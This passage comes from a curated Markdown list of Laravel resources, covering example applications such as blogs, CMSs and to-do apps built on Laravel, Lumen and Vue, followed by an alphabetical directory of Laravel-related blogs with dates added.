- [JobsToMail](https://github.com/jobapis/jobs-to-mail) - Opt-in platform for receiving daily e-mail on job postings on 8 popular job boards that uses [JobsApi](http://www.jobapis.com/). \[10/10/2016\]
- [KnowFox](https://github.com/oschettler/knowfox) - Sophisticated personal knowledgebase/PIM application modeled on Evernote. Free, hosted version also available [here](https://knowfox.com/). \[03/07/2017\]
- [Kwiki](https://github.com/fungku/kwiki) - Markdown-based wiki/blogging platform built on [Lumen](http://lumen.laravel.com/) that uses flat files (no database). \[06/16/2015\]
- [Larabook Updated](https://github.com/forkiven/larabook-updated) - Facebook clone built with Laravel 5.0 based [Laracast tutorial](https://laracasts.com/series/build-a-laravel-app-from-scratch). \[06/16/2015\]
- [LaraContact](https://github.com/kadnan/LaraContact) - Simple contact manager/address book built with Laravel. \[12/16/2016\]
- [Larapress](https://github.com/larapress-cms/larapress) - A work-in-progress CMS built on Laravel 4, which provides good example of building application with Laravel.
- [LaraSqrrl](https://github.com/pauly4it/LaraSqrrl) - Example app that integrates with [Twilio](https://www.twilio.com/) for SMS interaction, provides a simple API, and demonstrates how to deploy a Laravel app to [AWS Elastic Beanstalk](https://aws.amazon.com/elasticbeanstalk/). \[05/09/2016\]
- [Laravel and AngularJS Blog](https://github.com/RachidLaasri/Blog) - Simple blogging application with AngularJS front-end that uses Markdown files for posts. \[08/11/2015\]
- [Laravel and AngularJS CMS]() - CMS built on Laravel 5.1, AngularJS 1.4.7 and Responsive Material Design with REST API. \[10/30/2015\]
- [Laravel Blog](https://github.com/FbF/Laravel-Blog) - A Laravel 4 package to add a simple blog to a site.
- [Laravel Blog](https://github.com/lufficc/laravel-blog) - A fast and powerful blog system powed by Laravel 5.3. \[09/21/2016\]
- [Laravel Blog](https://github.com/summerblue/laravel-blog) - A complete blog application, with admin features, implemented in Laravel 4.2.
- [Laravel Bookmarks](https://github.com/yhbyun/laravel-bookmark) - Visual bookmark organizer application built with Laravel. Online version [here](https://rivario.com/bookmark/). \[08/16/2015\]
- [Laravel Bootstrap Starter Site](https://github.com/mrakodol/Laravel-5-Bootstrap-3-Starter-Site) - Laravel 5 application starter configuration with built-in Bootstrap 3 and [DataTables](https://datatables.net/) support.
- [Laravel Bootstrap](https://github.com/davzie/laravel-bootstrap) - A Laravel 4.1 PHP 5.4 CMS using Bootstrap 3, built with [SOLID](http://en.wikipedia.org/wiki/SOLID_%28object-oriented_design%29) principles.
- [Laravel Community Service Application](https://github.com/npmweb/community-service) - Web application for signing up for community service opportunities.
- [Laravel Datatables Package Demo](https://github.com/yajra/laravel-datatables-demo) - Demo application to show how to use [DataTables](http://datatables.net/) with Laravel 4/5. \[06/11/2015\]
- [Laravel Feed Reader](https://github.com/awjudd/l4-feed-reader) - A simple, self-hosted, online RSS feed reader based on SimplePie for Laravel 4/5. \[05/13/2015\]
- [Laravel Question & Answer](https://github.com/TheRealJAG/Laravel-QuestionAnswer) - Q&A site similar to Stack Overflow that allows voting on answers built with Laravel, Material Design, and Bootstrap. \[06/27/2017\]
- [Laravel Tasks](https://github.com/jeremykenedy/laravel-tasks) - Multi-user tasks/"to do" application user authentication, password reset, etc. \[03/08/2017\]
- [Laravel To Do App](https://github.com/lourenci/laravel-todo-app) - Basic "to do" application to demonstrate Laravel 5.2 services including [authentication](https://laravel.com/docs/5.2/authentication), [e-mail](https://laravel.com/docs/5.2/mail), [Eloquent ORM](https://laravel.com/docs/5.2/eloquent), and [middleware](https://laravel.com/docs/5.2/middleware). \[06/18/2016\]
- [Laravel 4 CMS](https://github.com/alnutile/l4cms) - Quick intro to Laravel using a custom CMS application.
- [Laravel 5 Example](https://github.com/bestmomo/laravel5-example) - Basic blog application with authentication, user roles, admin dashboard, and more. \[05/11/2015\]
- **[Laravel 5 Projects](https://github.com/StreetGT/Laravel-5-Projects/)** - Directory for Laravel 5 example projects for those new to Laravel. \[07/20/2015\]
- [Laravel & VueJS Todo App Example](https://github.com/erayaydin/laravel-todo-vuejs) - Simple "to do" application built with Laravel and [Vue.JS](https://vuejs.org/). \[08/17/2017\]
- [Laravel.io](https://github.com/LaravelIO/laravel.io) - The source code for the [Laravel.IO](http://laravel.io/) website, including comprehensive tests.
- [Library Management System](https://github.com/aziflaj/Book_io) - Simple library management system built on Laravel.
- [Lumen and AngularJS Todo App](https://github.com/DimitriMikadze/lumen-angular-todo) - A basic "to do" tracking application with Lumen backend and [AngularJS](https://angularjs.org/) on frontend. \[08/10/2015\]
- [MailTree](https://github.com/dud3/MailTree) - AngularJS/Laravel e-mail forwarder that uses keywords to forward to defined users. \[08/18/2015\]
- [Make It Snappy](https://github.com/jijoel/make-it-snappy-laravel4) - Independent Laravel **4** implementation of the application built in the Tuts+ ["Build a Practical Web Application with Laravel"](http://code.tutsplus.com/courses/hands-on-build-a-practical-web-application-with-laravel) tutorial.
- [Mapigniter](http://sourceforge.net/projects/mapigniter2/) - A web mapping platform to publish and manage geographic information powered by Laravel 5, [OpenLayers 3](http://openlayers.org/) and AngularJS packaged as a [Virtual Box](https://www.virtualbox.org/) OVA. \[12/05/2015\]
- [Mongoblog](https://github.com/jpcaparas/mongoblog) - REST-based Laravel blog application that uses [MongoDB](https://www.mongodb.com/) for storage. \[08/12/2017\]
- [myPOS](https://sourceforge.net/projects/myposs/) - Full-featured point-of-sale (POS) application built with Laravel. \[10/22/2018\]
- [Open Heroes](https://sourceforge.net/projects/open-heroes/) - Tour-based strategic role-playing game (RPG) similar to [Heroes of Might & Magic](https://en.wikipedia.org/wiki/Heroes_of_Might_and_Magic). \[09/16/2017\]
- [Paypal Processor](https://github.com/martindevnow/paypalproc) - Sample Paypal-based ecommerce site implemented with Laravel.
- [Phonebook](https://github.com/adibhanna/phonebook) - Basic contact manager that demonstrates construction of simple Laravel application. \[10/15/2016\]
- [PhotoShare](https://github.com/pitchinnate/photoshare) - Simple tool for sharing photos with family and friends built with Laravel 5.1. \[11/06/2017\]
- [PHPHub](https://github.com/summerblue/phphub) - Complete forum application built with Laravel 4.2.
- [PHP Geo Demo](https://github.com/jcorry/phpgeo-demo) - Demo application for using geographic data in PHP via Laravel 5.x. \[09/11/2017\]
- [PJ Blog](https://github.com/jcc/blog) - Full-featured, open-source blogging application built with Laravel and Vue.JS. \[09/02/2017\]
- [Neon Tsunami Blog](https://github.com/dwightwatson/neontsunami) - Fully PHPUnit tested Laravel 4.2 app for reference.
- [OpenPub](https://github.com/baileylo/openpub) - Markdown-based blog platform built on Laravel 5. \[04/05/2016\]
- [OrderMVC Laravel Application](https://github.com/OrderMVC/Laravel-App) - Laravel 4 implementation of a basic e-commerce application using MVC architecture. \[06/11/2015\]
- [Origin CMS](https://github.com/akhileshdarjee/origin-cms) - Full-featured CMS built on Laravel 5.2 that can be used as application boilerplate. \[10/10/2016\]
- [Owl](https://github.com/owl/owl) - Simple collaboration tool built on Laravel with support for "favorites" and tags, full text search, email and Slack notifications, and more. \[07/22/2016\]
- [ReMark](https://github.com/Technopathic/ReMark) - Blogging platform with built-in feed aggregator and multimedia hosting built on Laravel and [AngularJS](https://angularjs.org/). \[07/22/2016\]
- [Ribbbon](https://github.com/canvasowl/ribbbon) - Project management application built on Laravel 5.x and [Vue.js](https://vuejs.org/) that supports task weighting and project sharing. \[03/28/2016\]
- [Rusty Nails Adventurers RPG Guild](https://github.com/Riari/rna-guild.net) - RPG guild web site built on Laravel using [Materialize](http://materializecss.com/) CSS framework, [Laravel FullCalendar.io Helper](https://github.com/maddhatter/laravel-fullcalendar), and more. \[05/26/2016\]
- [Sample REST API](https://github.com/fasilkk/SampleRestAPI) - Sample implementation of RESTful API in Laravel with complete [PHPUnit](https://phpunit.de/) tests.
- [Scrumwala](https://github.com/modestkdr/Scrumwala) - A Scrum/agile web application, with plan and work views, for personal use. \[05/29/2015\]
- [Socializer](https://github.com/Evo267/socializer) - Basic social networking application built with Laravel. \[08/12/2017\]
- [Ticket Conductor](https://github.com/Bottelet/ticket-conductor) - Basic ticket management tool built with Laravel 5.5 and [Vue.JS](http://vuejs.org/) as single-page application. \[08/03/2017\]
- [TicketIt](https://github.com/thekordy/ticketit) - A simple help-desk ticket system built on Laravel. \[08/30/2017\]
- [TodoParrot](https://github.com/wjgilmore/todoparrot) - Simple "To Do" application described in [Easy Laravel 5](http://easylaravelbook.com/). \[05/28/2016\]
- [todoProject] - Simple "To Do" tracking application build with Laravel 4 and Bootstrap.
- [Todo Laravel](https://github.com/anam-hossain/Todo-laravel) - A simple Todo app which is built with Laravel 4, Bootstrap 3.0 and AngularJS. \[05/13/2015\]
- [Unreal Estate](https://github.com/thejettdurham/unrealestate) - Simple real estate listings RESTful web application. \[10/06/2016\]
- [Vuebnb](https://github.com/fsvwd/vuebnb) - An Airbnb clone site built with [Vue.JS](https://vuejs.org/] and Laravel as tutoril from upcoming book *Full Stack Vue Web Development*.
- [Webloyer](https://github.com/ngmy/webloyer) - A Web UI for managing [Deployer](http://deployer.org/) deployments. \[11/23/2015\]
- [Zagros Bug Tracking System](http://mohsen-shafiee.github.io/Zagros/) - Simple development bug tracking application built on Laravel 4. \[04/29/2015\]
### Blogs
- [158ltd](http://team.158ltd.com/tag/laravel/)
- [Advanced Laravel](http://advancedlaravel.com/blog)
- [Adam Engebretson](http://blog.enge.me/)
- [Adam Patterson](http://adampatterson.ca/blog/) \[06/15/2015\]
- [Adam Wathan](http://adamwathan.me/) \[04/16/2015\]
- [Adnan Siddiqi](http://blog.adnansiddiqi.me/tag/laravel/) \[05/20/2015\]
- [Ahesanali Suthar](https://ahesanalisuthar.wordpress.com/tag/laravel/)
- [Alan Storm](http://alanstorm.com/category/laravel)
- [Alex Sears](http://alexsears.com/)
- [Alex Kyriakidis](https://dotdev.co/@hootlex) \[10/01/2016\]
- [Alexander Trauzzi](http://atrauzzi.blogspot.ca/) \[04/07/2015\]
- [Alfred Nutile](http://alfrednutile.info/posts)
- [Amit Gaur](http://agalaxyphp.blogspot.com/search/label/Laravel)
- [Amit Merchant](https://www.amitmerchant.com/) \[09/06/2017\]
- [Amitav Roy](http://amitavroy.com/)
- [Amo Chohan](https://dotdev.co/@amo.chohan) \[10/15/2016\]
- [Andrea Sartori](http://blog.andreasartori.me/en/)
- [Andreas Lutro](http://www.lutro.me/)
- [Andy Brudtkuhl](https://brudtkuhl.com/topics/laravel/) \[04/02/2017\]
- [Andy Carter](https://andy-carter.com/) \[03/30/2019\]
- [Andy Fleming](http://andyfleming.com/articles-by-topic/lumen/) \[07/16/2015\]
- [Andy Hinkle](https://medium.com/andyhinkle91) \[07/23/2018\]
- [Anytch.com](http://anytch.com/category/laravel/) \[09/02/2016\]
- [AppDividend](http://appdividend.com/category/laravel/) \[07/17/2017\]
- [Appstract](https://medium.com/appstract/tagged/laravel) \[03/20/2017\]
- [Arda Kılıçdağı](https://arda.pw/tag/laravel/) \[09/30/2015\]
- [Armen Markossyan](http://blog.armen.im/tag/laravel/) \[06/01/2015\]
- [Asked.io](https://asked.io/search/laravel) \[04/13/2016\]
- [AskJong](http://www.askjong.com/) \[10/08/2015\]
- [AskLagBox](http://asklagbox.com/blog/tag/laravel) \[03/23/2017\]
- [Baljeet Singh](http://baljeetsingh.in/blog/tag/laravel/) \[11/09/2015\]
- [Bao Pham](http://baopham.github.io/) \[07/27/2016\]
- [Barry van Veen](https://barryvanveen.nl/) \[12/04/2016\]
- [Barry vd. Heuvel](http://barryvdh.nl/)
- [Belar Design](http://belardesign.com/category/dev/laravel/)
- [Ben Sampson](https://sampo.co.uk/blog) \[05/20/2019\]
- [Ben Smith](http://bensmith.io/) \[07/07/2015\]
- [Benjamin Kohl](http://benjaminkohl.com/)
- [Bhavyanshu Parasher](https://bhavyanshu.me/tags.html#laravel-ref) \[04/28/2015\]
- [Bobby Iliev](https://blog.bobby.sh/) \[04/14/2021\]
- [Boris Strahija](http://creolab.hr/category/blog/)
- [Bosnadev](https://bosnadev.com/)
- [Brian Retterer](http://brianretterer.com/) \[10/02/2015\]
- [Chris Fuller](http://blog.cjwfuller.com/) \[06/01/2015\]
- [Chris Gmyr](http://www.chrisgmyr.com/)
- [Chris Hayes](http://chrishayes.ca/blog/category/code/laravel)
- [Chris Schalenborgh](http://chris.schalenborgh.be/category/laravel/) \[05/16/2015\]
- [Chris White](https://cwhite.me/tag/laravel/) \[06/16/2016\]
- [Christoph Rumpel](http://christoph-rumpel.com/)
- [Christopher Pitt](https://medium.com/@assertchris)
- [Chuck Heintzelman](http://laravelcoding.com/blog) \[06/11/2015\]
- [Clément Rigo (Mydnic)](https://mydnic.be/search?q=laravel) \[03/10/2017\]
- [Clivern](http://clivern.com/tag/laravel/)
- [Cloudways Blog](http://www.cloudways.com/blog/category/applications/laravel/) \[08/02/2016\]
- [Code And Be Happy (Jesse Walton)](http://codeandbehappy.com/tags/#laravel) \[09/23/2015\]
- [Code Gains](http://codegains.com/tag/laravel-2/)
- [Code4Fun](http://code4fun.io/tag/laravel) \[01/25/2017\]
- [Codeem](https://codeem.co/blog/) \[03/31/2017\]
- [CodeHeaps](http://www.codeheaps.com/)
- [CodeHow](http://codehow.io/) \[09/02/2016\]
- [Codelution](http://codelution.com/tag/laravel/) \[04/16/2015\]
- [CodeRabbi (Yitzchok Willroth)](http://coderabbi.github.io/)
- [CODETutorial.io](http://www.codetutorial.io/tutorial/laravel-5/) \[08/06/2015\]
- [Codingo](https://tuts.codingo.me/category/web-development/laravel) \[07/07/2016\]
- [CoffeeCupWeb](http://coffeecupweb.com/category/laravel/) \[08/06/2015\]
- [Cogito, Ergo Sum (Shankar Manamalkav)](https://mnshankar.wordpress.com/)
- [Connor Leech](https://medium.com/@connorleech) \[12/31/2016\]
- [Coveros](https://www.coveros.com/tag/laravel/) \[05/17/2016\]
- [Craig Morris](https://medium.com/@morrislaptop) \[05/06/2015\]
- [Creative Punch](http://creative-punch.net/articles/php-articles/laravel-tutorials/)
- [ctf0](https://ctf0.wordpress.com/tag/laravel/) \[03/30/2017\]
- [crynobone (Mior Muhammad Zaki)](http://crynobone.com/) \[04/07/2015\]
- [Cubet Techno Labs](http://blog.cubettech.com/category/laravel-frame-work) \[04/27/2015\]
- [Dan Course](http://www.dancourse.co.uk/category/tech/laravel/) \[08/16/2015\]
- [Daniel Li](http://blog.danyll.com/) \[04/20/2015\]
- [Darwin Biler](http://www.darwinbiler.com/category/php/laravel/) \[04/14/2015\]
- [David Carr](https://dcblog.dev/) \[07/13/2020\]
- [David Hemphill](http://davidhemphill.com/blog/) \[07/09/2015\]
- [David Frame](http://www.cryst.co.uk/tag/laravel/) \[02/14/2017\]
- [David Piesse](https://medium.com/@piesse) \[07/24/2017\]
- [Delia Curiel](http://www.scoop.it/t/laravel-by-delia-curiel) \[07/02/2015\]
- [Delicious Brains](https://deliciousbrains.com/tag/laravel/) \[10/30/2016\]
- [Dennis Decoene](http://avidsoftware-be.github.io/) (German/[English translation](https://translate.google.com/translate?sl=auto&tl=en&u=http%3A%2F%2Favidsoftware-be.github.io%2F)) \[09/10/2015\]
- [Dennis Smink](https://medium.com/@dennissmink) \[09/13/2018\]
- [Designing Lives](http://designinglives.net/) \[07/07/2015\]
- [DevDojo](https://devdojo.com/t/laravel) \[04/13/2021\]
- [DevMarketer](http://devmarketer.io/learn/category/laravel/) \[09/24/2016\]
- [Dev Metal](http://www.dev-metal.com/tag/laravel/)
- [Dev Problems](http://www.devproblems.com/category/laravel/) \[05/03/2016\]
- [Devartisans](http://devartisans.com/categories/laravel5) \[09/02/2016\]
- [developed.be](http://www.developed.be/languages/frameworks/lavarel/)
- [DeveloPHP](http://www.develophp.org/)
- [Dhviti Infotech](http://www.dhvitiinfotech.com/tag/laravel-application-development/) \[05/09/2016\]
- [Diego Hernandes](http://blog.hernandev.com/en)
- [Discuss Desk](http://www.discussdesk.com/) \[11/09/2015\]
- [Dixit Patel](http://dixitpatel.com/category/web-2/laravel/)
- [dor.ky](http://dor.ky/tag/laravel/)
- [dotdev](https://dotdev.co/tagged/laravel) \[06/16/2016\]
- [Duilio Palacios](http://duilio.me/) \[04/12/2015\]
- [Dunebook](http://dunebook.com/category/useful-resources-for-laravel/) \[08/08/2015\]
- [Dustin Parham](http://imbringingsyntaxback.com/) \[05/16/2016\]
- [Dwayne Charrington](http://ilikekillnerds.com/category/laravel/) \[04/12/2015\]
- [Dwight Watson](https://www.neontsunami.com/) \[07/12/2016\]
- [Eagle Peak Consulting](https://www.eaglepeakweb.com/blog) \[07/26/2018\]
- [EasyLara](http://www.easylara.com/)
- [Edvinas Krucas](http://blog.krucas.lt/category/laravel/) \[10/06/2015\]
- [Eftakhairul Islam](http://eftakhairul.com/) \[06/29/2015\]
- [El Coderino](http://www.elcoderino.com/)
- [Elena Kolevska](http://blog.elenakolevska.com/)
- [Elliot Hesp](http://blog.elliothesp.co.uk/) \[07/13/2015\]
- [Eric Barnes](http://ericlbarnes.com/)
- [Esben Petersen](http://esbenp.github.io/) \[10/10/2017\]
- [Ewan Valentine](http://ewanvalentine.io/) \[08/31/2015\]
- [Experience](https://experiencehq.net/blog/tags/laravel) \[05/30/2015\]
- [Feliciano Prochera](http://felicianoprochera.com/) \[04/12/2017\]
- [Fideloper](http://fideloper.com/)
- [Fleka](https://tech.fleka.me/tagged/laravel) \[02/16/2017\]
- [Francesco Lettera (Portuguese)](https://medium.com/@francescolettera) \[08/17/2017\]
- [Flynsarmy](https://www.flynsarmy.com/)
- [For Laravel](https://forlaravel.com/) \[10/12/2015\]
- [Format C:](http://www.formatccolon.com/category/web-development/laravel/)
- [Francesco Malatesta](http://hellofrancesco.com/) \[09/09/2015\]
- [Full Stack Blog](http://fullstack4u.com/category/laravel/) \[07/21/2015\]
- [Garrett St. John](http://garrettstjohn.com/) \[05/30/2015\]
- [G-Design (Gunther Groenewege)](http://blog.g-design.net/tagged/laravel) \[07/22/2015\]
- [Geek & Dummy](http://geekanddummy.com/tag/laravel/)
- [Geekpub (German)](https://www.geekpub.de/tag/laravel/) \[08/21/2017\]
- [George Bohnisch](http://georgebohnisch.com/) \[08/30/2015\]
- [George Cameron](https://medium.com/@grmcameron) \[07/02/2018\]
- [Geshan Manandhar](http://geshan.com.np/blog/categories/laravel/) \[07/28/2015\]
- [Gijs Jorissen](https://medium.com/@gizburdt) \[01/25/2017\]
- [Glen Davies](http://caughtexceptions.blogspot.co.nz/) \[04/14/2015\]
- [Gilbert Pellegrom](http://gilbert.pellegrom.me/tag/laravel/)
- [Gliding Phenomena (Ravi Panchumarthy)](http://glidingphenomena.blogspot.com/search/label/laravel)
- [Gufran.me](http://www.gufran.me/)
- [Goodheads](http://goodheads.io/category/laravel/) \[04/26/2016\]
- [Hello Laravel](https://medium.com/hello-laravel) \[10/26/2017\]
- [How To Solve Now](http://www.howtosolvenow.com/category/language/php/larevel/) \[09/02/2016\]
- [Isaac Castillo](http://icastwork.com/) \[09/10/2015\]
- [Isaac Earl](https://isaacearl.com/tag:laravel) \[07/24/2017\]
- [Imron Rosindia](https://imron02.wordpress.com/category/laravel/)
- [IMWZ Web Design](https://imwz.io/category/laravel/) \[07/26/2018\]
- [Inani El Houssain](https://medium.com/@InaniT0) \[12/31/2016\]
- [IntoLaravel.com](http://www.intolaravel.com/)
- [Ionut Bajescu](http://ionut-bajescu.com/)
- [ItSolutionStuff](http://itsolutionstuff.com/tag/laravel.html)
- [Jad Joubran](https://medium.com/@JoubranJad/) \[04/05/2017\]
- [Jack Wall](https://jkwl.io/)
- [Jacob Bennett](https://gistlog.co/JacobBennett)
- [Jacopo Beschi](http://www.jacopobeschi.com/tag/laravel)
- [Jagadesha NH](https://medium.com/@jagadeshanh) \[03/16/2018\]
- [James Brooks](http://james-brooks.uk/)
- [James Mills](https://blog.jamesmills.co.uk/category/laravel/) \[06/25/2018\]
- [Jamie Rumbelow](http://jamieonsoftware.com/tagged/laravel) \[04/12/2015\]
- [Jan Ostlund](https://janostlund.com/) \[07/26/2018\]
- [Janik von Rotz](https://janikvonrotz.ch/category/work/laravel/) \[04/14/2015\]
- [Jason Lewis](http://jasonlewis.me/laravel-tutorials)
- [Jeff Madsen (codebyjeff)](http://codebyjeff.com/blog) \[06/08/2015\]
- [Jeff Mould](http://www.jeffmould.com/category/laravel/) \[07/22/2016\]
- [Jeff Simons Decena](https://medium.com/@jsdecena) \[03/16/2018\]
- [Jens Segers](http://jenssegers.be/)
- [Jesper Jarlskov](https://jesperjarlskov.dk/category/software/laravel/) \[10/18/2016\]
- [Jesse Schutt](http://zaengle.com/blog/tag/laravel) \[04/13/2016\]
- [Jim Frenette](http://jimfrenette.com/tag/laravel/) \[07/09/2016\]
- [Joao Peribeiero](http://joaoperibeiro.com/tag/laravel/) \[02/06/2017\]
- [Joe Ferguson](http://www.joeferguson.me/blog/) \[08/30/2015\]
- [Joe Tannorella](http://www.joetannorella.com/archive/) \[04/14/2015\]
- [Jon Phipps](http://jonstuff.blogspot.ca/search/label/Laravel%205) \[11/30/2015\]
- [Jonathan Stassen](http://blog.jstassen.com/tag/laravel/) \[04/13/2015\]
- [Jose Padilla](http://jpadilla.com/tagged/laravel) \[12/01/2015\]
- [Joseph Ralph](http://josephralph.co.uk/tag/laravel/) \[05/05/2015\]
- [Joseph Silber](https://josephsilber.com/posts) \[09/06/2016\]
- [Josh Forbes](https://joshforb.es/) \[07/17/2017\]
- [Justin Voelkel](http://justinvoelkel.me/category/angularjs/) \[08/08/2015\]
- [Jyrone Parker](https://jyroneparker.com/category/blog/php/laravel/) \[05/21/2017\]
- [Kamran Ahmed](http://kamranahmed.info/) \[04/07/2015\]
- [Kaloraat](https://kaloraat.com/categories/laravel) \[04/24/2018\]
- [KaltenCoder](http://kaltencoder.com/category/laravel/) \[08/13/2016\]
- [Kane Cohen](http://kanecohen.github.io/) \[07/12/2015\]
- [Kathir 'Sid' Vel](http://www.kathirvel.com/blog/) \[05/06/2015\]
- [KaixersofT](https://kaixersoft.wordpress.com/category/php-2/laravel/) \[07/02/2015\]
- [Keith Watanabe](http://www.keithwatanabe.net/tag/laravel/) \[07/29/2015\]
- [KernelDev](https://www.kerneldev.com/category/web-development/laravel/) \[10/04/2018\]
- [Kelt Dockins](http://keltdockins.com/tags/laravel/)
- [Kirk Bushell](http://kirkbushell.me/) \[04/14/2015\]
- [Kode Blog](http://www.tutorials.kode-blog.com/laravel-5-tutorial) \[11/05/2015\]
- [KodeInfo](http://kodeinfo.com/main_category/laravel)
- [Kongnir](http://blog.kongnir.com/)
- [Koomai](http://blog.koomai.net/)
- [Kovah](https://kovah.me/en/tag/laravel/) \[11/09/2015\]
- [KVCodes](http://www.kvcodes.com/category/laravel/)
- [Kyle Huynh](http://kylehuynh.com/blogs/category/c8-technology-blog/laravel/) \[10/18/2016\]
- [Lanre Adelowo](https://lanreadelowo.com/blog/) \[03/31/2017\]
- [Learning Laravel Blog](http://learninglaravel.net/blog) \[04/22/2015\]
- [Laracasts Snippets](https://laracasts.simplecast.fm/) \[08/11/2016\]
- [Laraget (Filip Zdravkovic)](http://laraget.com/blog) \[03/31/2017\]
- [Laratips](https://laratips.io/) \[07/07/2016\]
- [Laravel & VueJS](https://www.laravel-vuejs.com/) \[10/05/2017\]
- [Laravel 5 Tutorials](https://medium.com/laravel-5-tutorials) \[06/01/2015\]
- [Laravel Article](https://laravelarticle.com) \[10/20/2020\]
- [Laravel Coder](http://sheepy85.wordpress.com/)
- [Laravel Daily](http://laraveldaily.com/) \[07/10/2015\]
- [Laravel Factory](https://laravelfactory.com/blog) \[04/23/2018\]
- [Laravel Feed](http://laravelfeed.com/) \[04/26/2016\]
- [Laravel Tips (Bill Keck)](https://laraveltips.wordpress.com/) \[04/26/2016\]
- [Laravel Tips N Tricks](http://laraveltnt.com/) \[10/18/2016\]
- [Laravel Tutorials](http://learn-laravel.blogspot.com/) \[04/28/2015\]
- [Laravelista](http://laravelista.com/) \[05/16/2015\]
- [Leader Internet](https://leaderinternet.com/blog) \[04/23/2017\]
- [Logan Bailey](http://logansbailey.com/) \[04/18/2016\]
- [Loris Leiva](https://lorisleiva.com/) \[09/17/2018\]
- [Liza Shulyayeva](http://liza.io) \[09/22/2015\]
- [Luca Bernardino](http://www.codeanchor.net/) \[07/13/2015\]
- [Luciano Mammino](http://loige.co/tag/laravel/) \[04/29/2015\]
- [Lukas White](http://lukaswhite.com/blog) \[10/15/2016\]
- [Luke Whitehouse](https://assortment.io/tags/laravel) \[02/14/2017\]
- [Mack Hankins](http://www.mackhankins.com/blog/)
- [Made With Love](http://blog.madewithlove.be/) \[08/16/2015\]
- [Maks Surguy](http://maxoffsky.com/blog/)
- [Manan Jadhav](https://curos.in/category/laravel/) \[07/31/2015\]
- [Mario Basic](http://mariobasic.com/)
- [Marc Mulzer](http://mulzer.tumblr.com/)
- [Marcel Pociot](http://marcelpociot.com/tag:Laravel) \[11/04/2015\]
- [Marco Aurelio Deleu](https://hackernoon.com/@deleugpn) \[08/28/2017\]
- [Mark Van Eijk](http://markvaneijk.com/)
- [Martin Bean](http://martinbean.co.uk/blog/)
- [Martin Betz](https://martinbetz.eu/articles/) \[01/03/2020\]
- [Marty Thomas](https://martythomas.svbtle.com/) \[09/02/2016\]
- [Mateus Guimaraes](http://mguimaraes.co/) \[01/16/2016\]
- [Matt Sparks](http://mattsparks.com/blog/) \[07/13/2015\]
- [Matt Stauffer](http://mattstauffer.co/blog/)
- [Matt's Notes](http://www.mattsnotes.com/php)
- [Matthew Daly](http://matthewdaly.co.uk/blog/categories/laravel/) \[09/09/2016\]
- [Matthew Hailwood](http://matthewhailwood.co.nz/)
- [Matthew T. Brown](http://ryantbrown.io/tag/laravel/)
- [Maurizio Bonani](http://blog.mauriziobonani.com/tags/#laravel) \[09/02/2016\]
- [Menara Solutions](https://blog.menara.com.au/tag/laravel/) \[01/07/2016\]
- [Mera Mustaqbil](https://meramustaqbil.com/category/laravel/) \[05/20/2019\]
- [Merix Studio](http://www.merixstudio.com/blog/category/code-tools/) \[08/17/2017\]
- [Metric Loop](https://metricloop.com/blog/tag/Laravel) \[09/02/2016\]
- [Michael Brooks](http://michaelbrooks.co.uk/tag/laravel)
- [Michael Dyrynda](https://dyrynda.com.au/blog?tag=laravel) \[05/26/2016\]
- [Michael Stivala](https://michaelstivala.com/) \[10/01/2016\]
- [Milan Chheda](https://milanchheda.com/tag/laravel) \[03/27/2018\]
- [Mike Smith](https://medium.com/@splatEric) \[02/06/2017\]
- [Mitch Stanley](http://fullstackstanley.com/read/categories/laravel) \[09/16/2015\]
- [Mitchell McKenna](http://mitchmckenna.com/blog/category/programming/laravel/) \[09/26/2017\]
- [Mohamed Said](http://themsaid.github.io/) \[04/13/2016\]
- [Morgan Davidson](http://morgandavison.com/tag/laravel/) \[09/02/2016\]
- [Muhammad Usman](http://usman.it/tag/laravel/)
- [Muharrem Tigdemir](http://muharremtigdemir.com/category/laravel/) \[07/02/2015\]
- [Mulia Arifandi Nasution](https://mul14.wordpress.com/tag/laravel/) \[07/16/2015\]
- [Murze.be](https://murze.be/tag/laravel/)
- [Nate Denlinger](https://natedenlinger.com/) \[11/06/2017\]
- [Nedex.io](http://blog.nedex.io/) \[03/30/2017\]
- [Neoelemento (Vishnu Padmanabhan)](http://neoelemento.com/blog/)
- [Nick Basile](https://nick-basile.com/blog/tag/Laravel) \[12/21/2017\]
- [Nick Boyle](http://bicknoyle.com/) \[02/15/2016\]
- [Nicola Malizia](https://unnikked.ga/tagged/laravel) \[01/25/2017\]
- [Nicolas Widart](https://nicolaswidart.com/blog) \[07/28/2016\]
- [Ollie Read](http://ollieread.com/)
- [Oliver Kaufmann](https://okaufmann.ch/) \[11/19/2016\]
- [Ominceps](http://www.omniceps.com/tag/laravel/) \[08/17/2017\]
- [Overtrue](http://overtrue.me/) \[10/27/2015\]
- [Parth Patel](https://www.parthpatel.net/category/laravel/) \[08/19/2017\]
- [Pascal Baljet](https://pascalbaljetmedia.com/en/blog/tag/laravel) \[02/04/2017\]
- [Pascal Landau](http://www.pascallandau.com/blog/) \[08/31/2016\]
- [Paul Foryt](http://blog.goforyt.com/category/laravel/) \[11/11/2015\]
- [Pete Houston](https://medium.com/@petehouston) \[07/22/2015\]
- [Peter Fox](https://medium.com/@SlyFireFox) \[04/23/2018\]
- [Peter Plucinski](http://blog.peterplucinski.com/) \[03/03/2018\]
- [Peter Steenbergen](http://petericebear.github.io/) \[04/02/2017\]
- [PHP Builder](http://www.phpbuilder.com/) \[01/08/2017\]
- [PHP Clicks](http://phpclicks.com/laravel/) \[02/20/2016\]
- [PHP Expert](http://www.expertphp.in/tag/laravel-php-framework) \[10/03/2016\]
- [PHP Lab](http://www.phplab.info/) \[10/18/2016\]
- [PHP Ocean](http://phpocean.com/tutorials/back-end) \[07/30/2015\]
- [PiedCode (Simon Reinsperger)](http://www.piedcode.com/tag/laravel/) \[09/08/2015\]
- [Prasenjit Kumar Nag](http://joycse06.github.io/blog/categories/laravel/) \[03/09/2016\]
- [Programming Are Hard (David Adams)](http://programmingarehard.com/tag/laravel.html)
- [Prosper Otemuyiwa](http://prosperotemuyiwa.com/tag/laravel/) \[05/14/2015\]
- [Quantizd](https://quantizd.com/) \[04/23/2018\]
- [Raffworks](http://raffworks.com/category/series/getting-started-with-laravel-4/)
- [Recursive Iterator](https://recursiveiterator.wordpress.com/category/laravel/)
- [Reza Shadman](http://rezashadman.ir/) \[09/30/2015\]
- [Richard Bagshaw](http://www.richardbagshaw.co.uk/)
- [Richard Hawthorn](http://richardhawthorn.com/)
- [Ringaal Sandbox](http://sandbox.ringaal.com/category/tutorials/laravel-tutorials/)
- [Rizqi Djamaluddin](http://rizqi.id/archive) \[05/03/2016\]
- [Ryan Chenkie](http://ryanchenkie.com/category/laravel/)
- [Ryan Meier](https://www.rfmeier.net/tag/laravel/) \[08/28/2017\]
